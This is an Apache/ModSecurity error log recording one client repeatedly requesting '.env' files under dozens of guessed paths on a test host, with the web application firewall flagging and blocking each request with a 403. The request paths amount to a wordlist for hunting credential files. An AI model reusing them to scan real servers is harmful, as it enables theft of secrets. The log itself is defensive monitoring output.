[Thu Feb 26 01:03:04.524632 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPAAAAAI&quot;]
[Thu Feb 26 01:03:04.524796 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPAAAAAI&quot;]
[Thu Feb 26 01:03:04.539800 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fe/huey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHnAAAAAQ&quot;]
[Thu Feb 26 01:03:04.540026 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHnAAAAAQ&quot;]
[Thu Feb 26 01:03:04.540196 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHnAAAAAQ&quot;]
[Thu Feb 26 01:03:04.550824 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/blocks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPQAAAAI&quot;]
[Thu Feb 26 01:03:04.551037 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPQAAAAI&quot;]
[Thu Feb 26 01:03:04.551182 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPQAAAAI&quot;]
[Thu Feb 26 01:03:04.563569 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fedex/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHnQAAAAQ&quot;]
[Thu Feb 26 01:03:04.563852 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHnQAAAAQ&quot;]
[Thu Feb 26 01:03:04.564000 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHnQAAAAQ&quot;]
[Thu Feb 26 01:03:04.587199 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fhir-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHngAAAAQ&quot;]
[Thu Feb 26 01:03:04.587451 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHngAAAAQ&quot;]
[Thu Feb 26 01:03:04.587600 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHngAAAAQ&quot;]
[Thu Feb 26 01:03:04.608385 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/fiber-debugger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPgAAAAI&quot;]
[Thu Feb 26 01:03:04.608621 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPgAAAAI&quot;]
[Thu Feb 26 01:03:04.608780 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPgAAAAI&quot;]
[Thu Feb 26 01:03:04.614996 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHnwAAAAQ&quot;]
[Thu Feb 26 01:03:04.615202 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHnwAAAAQ&quot;]
[Thu Feb 26 01:03:04.615362 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHnwAAAAQ&quot;]
[Thu Feb 26 01:03:04.642484 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fileserver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHoAAAAAQ&quot;]
[Thu Feb 26 01:03:04.642728 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHoAAAAAQ&quot;]
[Thu Feb 26 01:03:04.642894 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHoAAAAAQ&quot;]
[Thu Feb 26 01:03:04.643806 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/flight/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPwAAAAI&quot;]
[Thu Feb 26 01:03:04.644042 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPwAAAAI&quot;]
[Thu Feb 26 01:03:04.644213 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPwAAAAI&quot;]
[Thu Feb 26 01:03:04.669305 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /films/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHoQAAAAQ&quot;]
[Thu Feb 26 01:03:04.669547 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHoQAAAAQ&quot;]
[Thu Feb 26 01:03:04.669723 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHoQAAAAQ&quot;]
[Thu Feb 26 01:03:04.690247 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/kitchensink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQAAAAAI&quot;]
[Thu Feb 26 01:03:04.690509 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQAAAAAI&quot;]
[Thu Feb 26 01:03:04.690668 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQAAAAAI&quot;]
[Thu Feb 26 01:03:04.692684 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/airflow_dag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHogAAAAQ&quot;]
